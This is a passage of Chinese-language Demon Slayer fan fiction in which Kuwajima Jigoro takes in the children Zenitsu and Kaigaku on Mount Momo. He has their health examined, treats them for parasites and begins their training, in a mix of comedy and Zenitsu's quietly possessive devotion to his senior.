跪坐在山上的屋子里,一人面前摆着一杯茶,桑岛慈悟郎继续询问两个人的情况。
对于桑岛慈悟郎的问题,狯岳的回答非常谨慎,尽量不透漏太多关于两个人的状况。
桑岛慈悟郎好笑地看着眼前十岁左右的小孩尽力地跟自己绕圈子,还经常捂住自己大嘴巴师弟想开口的嘴。一直到三个人的茶都喝完,他也没继续从两个小孩嘴里听到更多的内容。
不过没关系,桑岛看着面前警惕的小孩,内心促狭地想:你师弟已经将你们的情况卖了个底朝天了。
桑岛慈悟郎也不过多为难这两个小孩。他站起身来,对面前的两个小孩说:“既然你们无处可去,就暂且先在我这里休整两天吧。我这里培育的剑士不少,还是有地方供你们两个小孩休息两天的。”
说罢,他将两个人领到了一处房间之中就离开了,给两个小孩独处的空间,也让那个黑头发小孩放松一下,不用继续紧张地盯着自己。
一直到门口那位老爷爷的身影消失不见,狯岳才终于松了口气,转头找上了笑得傻乎乎还在和爷爷摆手的我妻善逸。
善逸见到自家师兄恐怖的表情,默默收回了傻乎乎的笑容,在师兄面前委委屈屈地站好。
虽说现在的善逸与狯岳一般大小,但是狯岳多年流浪下来,身体难免瘦小,和善逸从十六岁变小的身体还是不一样的。
所以善逸哪怕微微低头,也能看见一点点师兄头上的发旋。
狯岳看不惯我妻善逸的这幅样子。他按住头上往外跳的青筋:“说吧,到底是怎么回事?怎么一睁眼我们就要被带到别人家里去了?你不是不认识这位老爷爷吗??”
提到这个,善逸兴冲冲地开口:“爷爷超级好的!他得知我们两个流浪就让我们到桃山休整!!”
“你就没有见过人贩子吗?!!他们拐孩子都是用这样的话术的!!”
“但是爷爷才不会是人贩子呢。”善逸大声反驳:“而且爷爷可是鬼杀队的剑士培育师!师兄你不是想要学习呼吸法吗?”
狯岳听过善逸夸爷爷的话。然而得知善逸并没见过这位前任鸣柱后,他的话语可信度就在狯岳心中打了折。
“而且我们本来的目的就是要上桃山啊……”善逸歪头看师兄:“这不是完美达成了吗?师兄也不喜欢在外面流浪的日子吧?”
狯岳的表情微微松动,善逸也逐渐放松起来:“在爷爷面前展示实力,然后让爷爷收我们为徒弟……之后我们就能和爷爷一起生活在桃山上了!不用在为每天的饭食殚精竭虑,还能和爷爷学习呼吸法……师兄,你不想过这样的生活吗?”
对于善逸的幻想,狯岳终究还是心动了。不求饭食,他真的很想要变得更加强大,才能在那些霉运找上门时保护好自己的小命。
“……”狯岳转身,拉开房间的帐子门:“我去找那位老爷爷,问一问我们可不可以借用一下澡堂。”
看到师兄默认的背影,善逸也欢欢喜喜地跟了上去:“我也一起!!”
10. 第十章
善逸与狯岳从廊道上走过,并没有见到桑岛老爷子的身影,反而是看见了桃山上练剑的剑士身影。
狯岳停在了哪里。他注视着那群挥舞木刀的人,幻想自己之后会不会是他们中的一员。
他想起了在山林中醒来时看到的我妻善逸锐不可当的剑法,以及在他眼前斩杀那只他拼尽全力也无法抗衡的恶鬼时的英姿。
如果他能在这里学习,他会不会有一天也能有像我妻善逸那样的剑术呢?
注意到师兄停下来,我妻善逸寻着师兄的视线方向也看到了那些挥刀的剑士:“看吧师兄,我就说,爷爷是不会骗我们的!他就是鬼杀队的培育师啊!”
狯岳没有回话。他注视着那些剑士许久,心里下定了某种决心,而后默默离开,在檐廊的尽头找到了坐下喝茶的桑岛慈悟郎。
见到两个小家伙的桑岛慈悟郎并不意外。他让善逸与狯岳坐在他身边,再次给了他们一人一杯茶。三个人就这样坐着,看前院那些练习的剑士。
善逸还是和刚刚一样,坐在这辈子的爷爷身边,端着杯茶水,头顶冒小花花;而狯岳少了警惕,多了一分拘谨,从他手里接茶的动作也更加的恭敬。
看来这两个小家伙已经商量好了。桑岛慈悟郎笑眯眯地主动开口:“我看你们两个在城镇时奔跑的速度很快,都像是运用了呼吸法加强腿部。你们之前学过呼吸法吗?”
善逸举着茶点头点头,狯岳而是犹豫了,不知道自己算不算学过呼吸法。
桑岛慈悟郎自然看出了狯岳的犹豫,他看向狯岳询问:“怎么?”
“我确实会一些呼吸的方式。”狯岳有点紧张,手指不自觉地扣弄着手中的杯子:“但是我没有学过呼吸法,只是在危急关头身体想起了……”他嘴里的“小疯子”滚了一圈,还是没说出这样失礼的话,“善逸的呼吸方式,之后也只跟着善逸练习过两次,所以不知道算不算学过。”
听到他的话,桑岛慈悟郎严肃了神情:“你自己跟着学的?呼吸之后有什么感觉?”
狯岳感受着自己的身体。在小镇中被善逸拉着跑的时候他也用了点全集中呼吸,不然根本没办法跟上善逸这个跑得飞快的小子。
他感受着肺部的感觉,以及身体各处肌肉的感受,认真对桑岛慈悟郎说:“肺部有撕裂的感觉,呼吸有血腥气,腿部的肌肉也有刺痛。”
“……”桑岛慈悟郎不知道该说什么。呼吸法的使用前提是身体要有一定的承受能力,这样才能利用集中呼吸将身体的潜力开发到极限。
然而狯岳这小子现在最根本的问题是他的身体情况没办法支撑呼吸法的运行,强行的去使用带来的只会是身体的消耗。
也就是说,这个小子完全就是燃烧身体去转呼吸法!!
桑岛慈悟郎想问是那个半桶水的人教你的呼吸法,又想起这个小孩完全是从另一个小孩身上学下来的招式,而另一个小孩现在身上还有一堆谜团!
狯岳讲完,发现桑岛慈悟郎迟迟没有回话,不觉心中忐忑起来,是不是他有什么地方说错了?
又等了两三息,桑岛慈悟郎才开口:“你这样使用呼吸法只会损耗身体的寿命,之后还是不要再使用了。”
狯岳顺着桑岛慈悟郎的话点头,然而两个人心里都明白,不用呼吸法是不可能的。
狯岳是知道自己的糟糕运气,桑岛慈悟郎并不知晓,但是他知道在外流浪的小孩会遇到多少危险。
当遇到危险时,这些“损耗身体”之类的话就不紧要了。活下来才是最重要的。
“唉……”桑岛慈悟郎叹气,他转而看向另一边的我妻善逸。
善逸也听到了狯岳现在的呼吸法会损伤身体,然而他们两个已经在爷爷面前,这些事情爷爷会考虑到的。善逸信任着自己的爷爷,相信着爷爷做出的决定。
“我妻小子,你呢?你的呼吸法有没有什么问题?”
被爷爷问起,善逸整个人都十分明媚,像是太阳花一样转过头,对着桑岛慈悟郎讲话:“爷爷叫我善逸就好!!我的呼吸法没有问题啦!”
从再次见到爷爷开始,善逸的心情就非常好。现在也是,有什么话都往外说。
没有狯岳在旁边阻止,我妻善逸简直要将自己的身份证号都背出来给爷爷了。当然现在没有身份证号,所以还没背。
还没等桑岛老爷子问询,善逸就一骨碌地将所有话自己讲了出来,包括自己学习了雷之呼吸,只学会了一之型,腰上的刀是日轮刀,身上是自己的鬼杀队队服,之后要加入鬼杀队去杀鬼,还想要和师兄一起成为柱,巴拉巴拉,全讲了出来。
桑岛慈悟郎笑眯眯听着,甚至还让我妻善逸给他展示了一下善逸的雷呼一之型。于是,前院的一众人,包括桑岛慈悟郎与狯岳,都被善逸的一之型给吓了一跳。
我妻善逸的一之型姿势非常标准,运用也十分娴熟。他只会一之型,就像上辈子的爷爷所说,集中一点,登峰造极。
善逸的双腿之上闪烁着雷光,拔刀斩的速度让人根本看不到日轮刀的影子,“唰!”一声,面前的草桩就被斩成了两半。
我妻善逸的速度连桑岛老爷子都吓住了!毕竟善逸的一之型在他的日复一日打磨之下趋于完美,甚至还根据一之型发明了七之型火雷神,加上那些进入他身体之中,跟随他穿越时空,性质也不知道发生了什么变化的狯岳的鬼血,在加持了善逸速度、身体强度的同时也使善逸的攻击带上了裂伤,于是桑岛老爷子看到的善逸的一之型,甚至比他当年当鸣柱时的一之型还快!
看到这样的攻击,桑岛老爷子对于善逸杀死了下弦鬼的猜测信任了五六分。
他将善逸唤回来,仔细检查他的双腿:“你的腿不疼吗?”
要知道,雷之呼吸,尤其是一之型,非常地消耗双腿的力量。
要达到极致的速度,就要将力量集中于双腿之上。善逸这样的速度对于他的双腿是不小的消耗,更何况他才十岁左右,腿部根本没有发育好,这样强行的消耗极有可能影响他之后的发育!
他当年就是因为腿断了才不得不从鸣柱的位置上退下来,当一名鬼杀队的培育师。
善逸有这样好的天赋,千万不能因为揠苗助长导致早早地枯竭啊!
那一瞬间,桑岛慈悟郎真想抓着那个在桃山修行过的不知轻重的鬼杀队剑士好好痛殴他一顿!
是的,在桑岛慈悟郎看来,我妻善逸就是一个因天赋而被发现,被鬼杀队剑士教导了从桃山这里学来的雷之呼吸的小孩。
这也解释了善逸对他的事迹的熟悉,对鬼杀队的向往,还有身上那套大了两圈的鬼杀队队服以及日轮刀。
这样看来,他们会来到桃山,估计是那位剑士死掉前对两个小孩的叮嘱吧。
善逸完全不知道自己的师父已经将他的经历给脑补完了,还在给师父展示自己的双腿:“没有任何问题!就算是使用很多次一之型也没有问题!”
善逸上辈子时,每次使用完一之型双腿都会疼痛,所以他没办法多次连续使用招式。然而这辈子的自己不只是呼吸法造成的伤害中出现了像是师兄血鬼术在自己身上造成的那种裂伤,而且身体和速度都被全方面的加强,就算
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是一之型也不会让自己感受到腿部的消耗了。
所以,他在打下弦六的时候,比上辈子杀鬼要轻松且游刃有余的多,简直就像是无限蓝条一般。
面对信任的爷爷,善逸将自己使用一之型的感觉和造成的伤害都讲了出来,完全没有藏着掖着的意思。
在善逸看来,他没什么不能说的。哪怕他的变化来自师兄的鬼血,然而这辈子的师兄没有变鬼,体内有鬼血的他也没有变鬼,那他招式上的裂伤就是他的呼吸法效果。
不过,善逸还是有自己的小心思的。他没有将自己是重生的事情说出,不只是因为他和这辈子的爷爷还不熟悉,爷爷很有可能以为自己是在说胡话;更因为他不想让人知道自己的师兄上辈子变成了鬼。
如果得知师兄会变鬼,那爷爷还会不会收师兄为弟子呢?那师兄是不是就不再是他的师兄了?
善逸在脑海中想象了一下桃山之中擦掉师兄的身影:不会再见到师兄练剑的样子,没有人喊自己废物,爷爷也不会冲自己说:“多学学你师兄狯岳”……
三个人的场景只剩下两个人,完整传承的雷之呼吸也只剩下一之型,那些相处的片段也一张张被删减……
那个他一直仰望的身影虚化消失,不会再有人在他喊师兄的时候,转过头,用紧皱的眉头,不耐烦的样子望向他。
不行!!不可以!!
一想到那样的场景,我妻善逸感觉像是灵魂的一部分都被剥离,四肢百骸都失去了力气。
不行,不行,绝对不行!他下意识为自己的不愿意找借口:爷爷可是要他们两个一起继承雷呼的,只有他们两个一起成为鸣柱才是爷爷想要的吧?
还有哦!如果没有师兄的话,对于一直学不会雷之呼吸其他招式的自己,爷爷会不会特别难过呢?
他和师兄一起,才是完整的雷之呼吸!这样才对吧?
不可以,不可以,怎么可以把师兄扔掉呢?不行的!
只要师兄这辈子不变成鬼,那不告诉爷爷上辈子的事情也没关系吧?只要师兄不变鬼,爷爷就不会死,桃山上就不会只剩下自己一个人了吧?
没关系,我会寸步不离地看着师兄的,不会让师兄找到机会,那我们一家就不会到上辈子的地步。
没关系的,没关系的。
善逸坐在爷爷面前微笑着听爷爷对他的呼吸法的指导,没有透漏出异常,只有他身边的狯岳心中的警报狂飙。
又来了!又来了!那种从善逸身上感受到的危险感觉!!
从善逸身上传来的压抑感压迫着狯岳的喉咙,窒息的感觉一阵阵传来。他偷偷瞟向善逸,善逸依然是笑眯眯的表情。
这个小疯子又在犯什么病!!
狯岳悄悄地想从善逸身边挪远点,被善逸一把抓住手腕:“师兄,你要去做什么?”
狯岳对上善逸望向他的眼神,明亮的金黄色眼瞳变得暗沉,眼睛深处甚至像是有蓝色闪电在灼烧,平时总是做出可笑神态的脸上没有任何表情,其上的裂纹像是刀剑般锐不可当,那种压抑的深沉之感,加上锋利的气势,将诸多的感情危险地压在了自己脖子上,让他无法动弹。
他的喉咙再次像是被捆缚住了一半,发不出一点声音,四肢僵硬,只能任由我妻善逸在他身边施为。
善逸抓着自己师兄的手腕再次向师兄挨近了一点,转过头继续听桑岛慈悟郎讲话:“爷爷你继续讲哦。”
桑岛慈悟郎被善逸的突然动作打断,看到两人拉在一起的手,默默呷了口茶,同时不由在心中感慨:关系真好啊,这两位师兄弟!
11. 第十一章
桑岛慈悟郎跪坐在案几前,点上灯,铺好纸张,拿起毛笔,给鬼杀队的主公写信。
他将他在城镇中遇到善逸与狯岳的事情,两个人的身体情况,以及他从他们话语中猜测的两人习得呼吸法的背景故事都写给了主公,并写明了两个人的状态。
最后,斟酌半天,他还是写到:
「我深知鬼杀队的缺人现状,善逸也确实有要加入鬼杀队的念头。然而他与师兄都还太小,莽莽撞撞去到到鬼面前拼杀只会让他小小年纪就死在鬼手中。所以我在此请求主公,能允许我将两个小孩收为弟子再磨炼一段时间,等到他们能完全发挥出自己的全部实力之后,我自会将他们带到杀鬼的前线。
祝主公身体安康。
桑岛慈悟郎敬上」
桑岛慈悟郎将毛笔搁在桌上,等到信纸上的墨迹干透,将信纸折起来塞到信封之中,在信封上写上“主公亲启”四字,将信封交给了窗外的鎹鸦。
鎹鸦扑棱棱飞走,桑岛慈悟郎也熄灭了灯火,准备睡觉。
另一边,主公收到来自桑岛慈悟郎的信件,尚且年轻的产屋敷耀哉回了桑岛慈悟郎一封书信。
「我并不在乎他们的身世背景,作为鬼杀队的当主,我们聚在一起是为了斩杀恶鬼。只要有恶鬼灭杀的信念,那身上的谜团就无关紧要。」
「只要你认为他们应该继续被教导,那就去做吧,我的队士。我期待他们在鬼杀队大放异彩的一天。」
产屋敷耀哉笑着和天音分享了关于善逸和狯岳两个人的事,并将自己写好的信件交给天音夫人,送到桑岛慈悟郎手里。
这封决定两位流浪小孩命运的信件由鎹鸦再次送回了桃山,等到桑岛老爷子接到已经是三天后的事情。
这三天里,狯岳由原先的期待,逐渐转为焦躁不安。他已经在桑岛老先生面前展现了自己的呼吸法,也每天与老爷子交谈,善逸那小子的招式甚至让桑岛老先生这位前任鬼杀队的柱都感到惊叹。然而他们已经在桃山住了三天,桑岛慈悟郎依然没有要开口收他们两个为弟子的意思,甚至连让他们两个在桃山上跟着鬼杀队剑士一起学习的提议都没有!!
不安与焦躁逐渐占满了狯岳的心脏。他不知道自己会有什么样的结果,这种无法掌控的不踏实感简直要将他给逼疯。
他不知道自己和善逸会不会被劝离桃山,那他之后要去哪里呢?
不行,不能这样坐以待毙。他在房间里转圈圈,不如去偷偷围观剑士的训练现场,从他们哪里偷偷学习一些招式,好让自己能够在下次危险之中保住自己的小命。
来到了桃山的善逸倒是松缓了下来,内心的阴暗情绪也缓解了许多,甚至越来越像一个十岁的小孩了。
松缓下来的善逸看着自己的师兄在房间里团团转,旁边的小猫师兄也焦躁地走来走去,时不时给自己一爪。
善逸当然听到了自己师兄心中的杂音越来越响。他知道师兄再为自己的未来感到不安、焦躁。他知道自己没办法解决师兄的问题,只能一遍遍地跟师兄说:“没关系的,爷爷一定会收我们两个为徒弟的!师兄你可是自己就学会了呼吸法诶!甚至还无师自通地用呼吸法的力量加强腿部!绝对会被爷爷收为弟子的!”
狯岳内心的焦虑情绪让他越来越暴躁,甚至对宽慰他的我妻善逸低声怒吼道:“有这样强大力量的你当然不用担心!说不定桑岛老先生就是为了收你为弟子而打算拒绝我才不好开口拖到现在的!到时候你能如你所愿住在桃山上,而我才会被赶下去!”
话脱口,狯岳就知道自己说了不该讲的话。他转身想要离开,却被我妻善逸从身后搂住了腰:“师兄是在担心我会离开你吗?我好感动!”
我妻善逸的奇妙脑回路:师兄担心他被赶走而我留下来=师兄担心我离开他=师兄也不想离开我!
师兄不想离开我=师兄会永远待在我身边!
于是感动地扑了上去!
“哈?松开我!神经病!!谁在担心离开你!!我只是在担心之后的去处而已!!”
狯岳的猫毛再次炸了起来。
喵喵叫些什么呢。善逸无视师兄嘴里吐出的话,将他们当做口是心非。他在师兄的后腰处蹭了蹭脸,继续道:“放心,师兄,我永远不会离开你的,永远不会。所以不用不安哦,我会保护你的。”
“谁在想……!我只是担心之后会遇见鬼!我只是想有更强大的力量!”
“嗯嗯嗯,对对对。师兄这样有天赋,一定会被爷爷收为弟子的!还有被师兄肯定了实力好开心!还有还有!师兄,我半夜醒来的时候,发现你在偷偷拉着我的袖子诶……”
“谁拉你袖子……!!没有!!你松开我!!”
“不松哦。还有,师兄你身上有点香诶。”
“!!!变态!!放开我!!”
收到信打算来找两个小孩说要将他们收为弟子的事情的桑岛老爷子在帐子门外听到两个人的动静,默默收回了拉门的手。
算了,不急于一时。等到两个小孩闹完再告诉他们吧。
桑岛老爷子捋着胡子溜溜达达离开,边走边感叹:两个小家伙关系真好啊……啧啧……
桑岛老爷子在老地方喝茶,终于见到了在房间里打闹的师兄弟两个。善逸头上盯着一个还在冒烟的大包,蔫蔫地扯着师兄的袖子出来了。他前面的狯岳气呼呼的,看样子恨不得将自己的师弟大卸八块。两个人路过檐廊上喝茶的桑岛老爷子,气哼哼的狯岳收敛表情对桑岛爷爷微微鞠躬,而善逸则是高兴地和爷爷挥手打招呼。
桑岛老先生像前几天一样招手让他们坐下,给他们一人倒了一杯茶,笑呵呵地说:“两个人吵架了吗?”
狯岳紧张了一瞬,表情严肃地对桑岛爷爷说:“没什么,只是一点小摩擦。”随后暗搓搓瞪了善逸一眼。
在狯岳身后狠狠点头的善逸被师兄表情制裁,缩了缩脖子,藏回了爷爷身后。
“小摩擦就好,小摩擦吵架是关系好的体现啊……”桑岛老爷子将水杯举在嘴前,在两个人都没有注意的情况下突然切入主题:“一直没有问过,你们两个,可愿意成为我的徒弟?”
“磅——”
还在恼自己和善逸吵架被发现了的狯岳被桑岛老爷子的突然发力给吓了一条,没反应过来的情况下,手中的杯子都掉了。
被杯子坠地的声音惊醒,他着
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急忙慌地从地上捞起自己的杯子,转而震惊地看向桑岛慈悟郎。
先一步反应过来的善逸直接扑了上去:“愿意!爷爷!我愿意!!”
被善逸抢先,狯岳恼怒地看着没礼数地扑到了桑岛爷爷身上的善逸,也急忙跪下来行礼:“我也愿意的,桑岛老先生。”
“好孩子,好孩子。”桑岛慈悟郎笑呵呵地将狯岳拉起来,善逸更是将师兄挤到了自己和爷爷的怀抱中间。他们就这样包成一团。
“还有,从今天开始,你们该改口叫我师父了。”
“是,师父。”狯岳被挤在两个人的怀抱之中,不自在地微微错身,耳朵红红。
身后善逸叫的更大声:“是!爷爷!!”
“混蛋!你要叫师父!!”
“不要嘛,师兄!我就要叫爷爷!”
“我妻善逸!”
缓过激动的情绪,也从团团抱之中脱离出来,狯岳恭敬地问自己的师父:“我们之后从哪里开始学习剑术?”
“不着急,不着急。”桑岛慈悟郎带着两个小孩下了山:“在开始练剑之前,我们还有一件事情要做。”
狯岳并不知道桑岛老师要做什么,只乖乖地跟在老师身后。倒是善逸,根据自己上辈子的经历推断出了接下来的行程,幸灾乐祸地看着面前还一无所知的师兄,在背后捂着嘴窃笑。
嘻嘻,嘻嘻,天真的师兄,大难临头了还不知道。
嘻嘻!
在狯岳的迷茫与善逸的幸灾乐祸中,桑岛老爷子将两位新来的弟子带到了——医馆。
“你们两个,谁先?”
在医生的注视之下,两个小孩排排坐,僵硬地看向了自家师父。
“你们两个在外多年,总是要先检查一下身体才能开始练习的。”桑岛老爷子很担心两个瞎胡搞出呼吸法的小孩子的身体情况,于是马不停蹄地将他们带到了医生面前。
在身体僵硬的师兄旁边,自认已经来过一遭,是师兄的前辈的我妻善逸站了出来:“让我先吧!师兄!”
于是善逸就被医生给抓走了。
一通检查下来,善逸头发都炸开了,乱糟糟地走出来,躲在了师兄身后,口中吐魂:“医生,好可怕……好可怕呜呜呜……”
刚刚还笑眯眯的医生面色严肃地走出来,对着桑岛慈悟郎说:“身上有多处伤疤,腰腹上,胳膊上,腿上都有,位置非常危险;肺部的声音也很不对,暂且再观察一下。其他都还正常。”
桑岛慈悟郎也面色紧张地看向还在师兄身后瑟瑟发抖的善逸,着重询问:“他的腿怎么样?”
“非常健康。虽说腿上也有伤痕,但是恢复得非常好。不管是肌肉还是骨骼的强度都远超同龄人。不如说,他身上的所有伤口恢复得都非常好。”医生叹了口气:“我只是在疑惑他身上的伤口是怎么来的。他身上的伤痕不是一次造成的,甚至出现了新伤叠旧伤的情况。”
桑岛慈悟郎抿抿嘴。
他大概知道善逸那样的剑术是怎样磨炼出来的了。
他避开医生的疑问,将狯岳也牵到了医生面前:“这个孩子也麻烦你了。”
于是狯岳也被医生抓走了。
12. 第十二章
狯岳被抓走的时长远超过善逸。就在善逸怀疑自己的师兄是不是被医生吃了时,狯岳也乱糟糟地出来了。
出来的狯岳整个人都麻木了,他楞楞地走回师兄身边,木木地任由师弟牵上自己的手,甚至忘记了对师弟的嫌弃。
身后跟着狯岳一起出来的医生脸色比上回更沉。桑岛慈悟郎再次紧张地上前:“狯岳情况怎么样?”
医生瞟了桑岛老先生两眼,知道这两个孩子都是桑岛先生捡到的,才将口中准备的对家长的斥骂咽下去:“非常不好。”
“肺部声音很差,应该在小时候患过肺炎,还有新鲜的肺部裂伤;肠胃更是不好,需要吃药调养;其他小毛病一堆就不说了,他身上也有非常多不同时期的伤口,挫伤、穿刺伤、小面积的烫伤以及锐器造成的伤口……”医生真不知道这小孩到底都经历了什么:“他的脖子上有新鲜的掐痕,时间不超过一周,身体非常营养不良,体内的寄生虫不少。必须要补充营养了。”
医生将自己记录两个小孩身体状况的纸张递给了桑岛慈悟郎:“其他的小问题我就不提了,我现在要去给这两位拿一些药。”
说完,医生再次看了眼两个挤挤挨挨的小孩子,转身走向了药堂之中。
桑岛慈悟郎看着手上密密麻麻的伤势诊断,摸了摸两个小孩的头。
他没有问两个小孩身上的伤势是怎么来的,就像是产屋敷耀哉给他的信上提到的,他们不问来处,聚集在一起,只是为了杀鬼。
“之后医生开药,你们连个可要好好喝掉啊。”
回来的医生将大包小包的药包塞到了桑岛慈悟郎手里,并仔细叮嘱了注意事项,才将这一老两小给送走。乱乱糟糟的两位跟着师父买了些两人的生活用品后回到了桃山,刚从医生的蹂躏之中缓过神来,就被桑岛师父在面前一人放了一碗黑漆漆的药汁。
“咿呀!!!爷爷!!这是什么!!”善逸惊恐地看着眼前冒着黑气的药:“里面飘出了黑气啊啊啊!!好可怕好可怕!!呜呜!”
“这是打虫药。你们要先把肚子里的虫子排出来。”
善逸想起了上辈子被爷爷灌进肚子里的那几碗药汁。那之后他拉了三天肚子,那些可怖的虫子混在了他的排泄物里面,甚至有些还没有死完全!!
“啊啊啊我不要喝!!!我死都不会喝这些东西的!!呜呜好可怕!!”
还在懊恼自己看完病之后在师父面前的表现不够尊重,并忐忑于师父会不会得知自己身体情况后不教自己剑术的狯岳被善逸的大嗓门吵醒,看到死活不愿意喝药,对着碗哭哭啼啼的善逸,鄙视地翻了个白眼,然后端起了自己面前的药碗,咕嘟咕嘟就喝了下去。
“伊!!!”善逸瞪大眼睛围观了师兄勇敢喝药的全过程,然后被师兄和师父合力灌下了那碗药。
被迫喝掉药的善逸凄惨地跪在了地上:“我完了,呜呜呜我这辈子要完蛋了!!”
狯岳不知道自己的师弟在发什么神经:“你都喝过了药,还有什么好哭的!!”
“师兄不知道吗?”善逸眼角带泪,呆呆地仰头看向师兄,像是灵魂都被抽走了一般:“我们两个刚刚喝了打虫药,之后就会有虫子从哔——里钻出来。”
狯岳瞪大了眼睛,不可置信地看向了桑岛老爷子。
爷爷轻咳一声,在狯岳天塌了的表情中,点了下头。
好了,这下被抽走灵魂的人,变成了两个。
“师兄,我这辈子都不会原谅你的。如果没有你,我就不会喝到这打虫药……”善逸要变成骷髅了。想到自己接下来会面对的痛苦,差点原地消散。
他的师兄也没好到哪里去。狯岳呆呆地对着师父行礼,将在地上假装骷髅的善逸扯走,拖着地上的善逸一步一卡地走回了房间。
连师父在身后提醒的一会儿吃晚饭的话都没听到。
“真好啊,两个小孩。”桑岛慈悟郎再次感慨两个小孩的关系。
就连睡觉也一直在一起呢。看来不用给他们准备两个屋子了。
师兄弟之间的感情真好。
是的,桑岛老爷子到现在还不知道这两个小子是半路师兄弟,狯岳认识善逸的时间没比他早一星期。
善逸一直粘着自己的师兄,而来到陌生环境之下的狯岳,面对不认识的剑士和刚认识三天的师父,也下意识的向着善逸聚拢,完全忘记了自己曾经还想着逃离我妻善逸的事情,将对善逸的恐惧都扔到了一边。
狯岳,在自己都没注意到的情况下,和善逸贴得越来越近了。
而感知到这点的善逸内心偷偷窃喜。他就知道,自己的师兄需要像是自己这样无微不至(死皮赖脸)的关怀。
对的,对的,就这样,让师兄一点点贴近自己,一点点感受幸福,然后师兄就不会变成鬼啦!
狯岳并不知道善逸的小心思。在两个人铁青着脸色做到餐桌之前,勉强地往嘴里塞着饭时,我妻善逸突然意识到了一件事。
他转头,一副要死了的样子看向师兄:“呐,师兄,你说我们现在吃进去的饭,会不会是虫子们最后的晚餐呢……”
“啪!!”狯岳重重地将筷子放下,狰狞地看向我妻善逸,咬牙切齿:“你是不是想挨揍!!”
还没等狯岳重拳出击,突然,他的脸色一白,连忙向师父告退:“师父我今天不舒服先回去休息了……”
说完,没等师父回话,就转身跑向了厕所。
“师兄!!师兄!!等等我!”
善逸也将碗放下,和爷爷打过招呼,追着自己的师兄跑掉了。
桑岛爷爷看着两个人远去的背影,转回头,将两个人剩下的饭收了起来,把他们放在了厨房灶台之上。
两个小崽子可没吃两口。等他们饿了再吃吧。
桑岛老爷子溜溜达达地出门了。
另一边,追着师兄的我妻善逸心中涌出了莫名的兴奋感。
毕竟,他即将要见证自己的师兄出丑诶!那可是那个狯岳!!那个整天叫他废物的狯岳!
他边想边幸灾乐祸地大喊:“师兄!你慢点~我要跟着保护你的~”
“别跟着我!!变态!废物!!”
最后,善逸鼻孔里塞着纸,在厕所门口等待自己师兄出来时的丑态。
到时候就把师兄出丑的样子画下来!嘻嘻!这样我手里就有师兄的黑历史了!
没多久,在善逸期待的注视下,狯岳木然地从厕所走了出来。
“诶!!师兄怎么一点表情变化都没有!!”善逸大失所望!根本没有自己想见到的师兄的颜艺表情啊!
“死变态……离我远一点……”狯岳麻木地飘了回
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去。
“师兄你不该很惊恐然后做出像是女鬼一样的表情吗!!”善逸追在自己已经没魂了的师兄身后念叨。
飘着的师兄转过身,举起只手,“啪”一声,落在了善逸喋喋不休的嘴上:“非逼我扇你是吧!”
“呜呜……”善逸捂住自己被师兄拍了一巴掌的嘴,眼泪旺旺:“师兄不讲理!!师兄你是不是恼羞成怒了!师兄!!”
“吵死了!!闭嘴!”
“等等。”狯岳再次转过身来,死死盯着他身后哭哭啼啼的我妻善逸:“你这个爱哭的废物怎么不肚子疼?”
“是诶,我肚子不疼。”善逸惊讶地揉揉自己肚子,没有一点痛感。他仔细思考,然后恍然大悟:“我知道了!我肚子里没有寄生虫!!”
duang!
狯岳转身就走,留下善逸抱着头顶冒热气的包哭哭啼啼:“师兄!!不讲理!!!我要告诉爷爷!!!”
“敢告诉老师就杀了你哦。”
“师兄!!”
狯岳的打虫药喝了三天,于是三天里这样的场景反复上演。到终于被爷爷宣布结束驱虫之后,狯岳整个人都虚脱了,被自己的师弟拖着回到的屋子。
将自己的师兄安置好后,善逸去厨房端来了两个人的饭。
回来的善逸将自己倒在床铺上的师兄拉了起来,将饭团放在师兄嘴边,想要喂师兄吃饭,却被狯岳打开了手。
善逸委委屈屈地捂住自己的手,围观师兄小口小口吃着饭。
这三天真是太为难师兄了。善逸在师兄面前盘腿坐下,手肘支撑着膝盖,手掌托腮,想起了三天来师兄晚上睡不着一遍遍去厕所,现在憔悴了许多,连黑眼圈都要掉到地上了。
这样的师兄让他想起了上辈子师兄学不会一之型时的焦虑神情。
看着看着,他突然开口:“呐,师兄,我们一起成为鬼杀队的鸣柱吧?”
狯岳鼓动的腮帮子停下。他瞟了一眼我妻善逸:“哈?你在说什么胡话?”
善逸将盘腿坐的姿势转换为跪姿:“爷爷不就是鬼杀队的前任鸣柱吗?据我所知,现在的鬼杀队还没有鸣柱诶,这样的话就让我们成为鸣柱好了。”
“那样也只有一个人要成为柱吧?为什么不是我自己成为鸣柱?”
“欸?师兄想要甩开我自己去杀鬼吗?不行的不行的,我肯定要和师兄在一起啦!”善逸身体前倾,认真地对自己才十岁的师兄说:“所以说,师兄要努力学习雷之呼吸然后和我一起成为鸣柱哦~如果师兄太弱的话会被别人说闲话吧,什么鸣柱师兄不如师弟之类的。”
“嘁!”
“嘁——是什么意思啊!!师兄你到底答应不答应啊!是在担心追不上我吗?没关系的师兄,你可是超特别的!自己就学会了呼吸法呢!”
“……”
“不回答就当你默认了哦?一言为定了哦师兄?完不成约定的人要吞一千根针哦?”
“蠢货!只有撒谎的人才要吞一千根针!”
“关注点好奇怪——话说师兄,你这算是答应了吧?”
嚼嚼嚼。
“不要光顾着吃饭也要回应我啊师兄!!话说这个饭团这么好吃吗?给我一个啊师兄!”
“不给。”嚼嚼嚼。
“师兄!!好过分!!!”
13. 第十三章
“首先!你们需要练习的第一步!先加强自己的体魄!!!”
桑岛老爷子指着桃山冲着自己的两位小弟子喊到:“先围着桃山跑三圈!狯岳!不许用你的呼吸法!”
善逸与狯岳的训练开始了!
跑圈、中午吃大碗的饭,再跑圈、晚上吃大碗的饭,然后冥想,睡觉。
这样的生活持续上演。为了给两个身体一堆毛病的小孩补充营养,桑岛老爷子每天都将两个人的饭碗里堆得满满的,并卡着两个人的身体能承受的极限给他们安排训练,让两个小子每天都精疲力尽,但又不影响第二天的练习。
这样的基础训练一直持续了三个月,三个月后,桑岛慈悟郎终于判定善逸与狯岳的身体素质达标,给他们安排了下一项训练任务。
桑岛爷爷将他们带到了一处训练场,指着训练场上立着的木桩上的红色点位:“按照顺序从这些点位中跑过去。我在终点计时。快去!”
“咿呀!!爷爷!这也太可怕了吧!!”善逸抱着师兄冲爷爷大叫:“地上全是削尖的木桩啊!!万一从半空掉下去就会变成东一块西一块的吧?!!”
“你小子太吵了!!”狯岳努力推着善逸凑到他眼前的打脸:“松开!!给我松开!!”
“善逸你有什么好害怕的!!按照你的速度根本不会从半空掉下去!!给我放开你师兄!!”
“不要啊!!万一师兄也变成东一块西一块怎么办!!师兄!!”
“松手!!”
“放开你师兄!!”
“师兄啊呜呜呜!!”
duang!!!
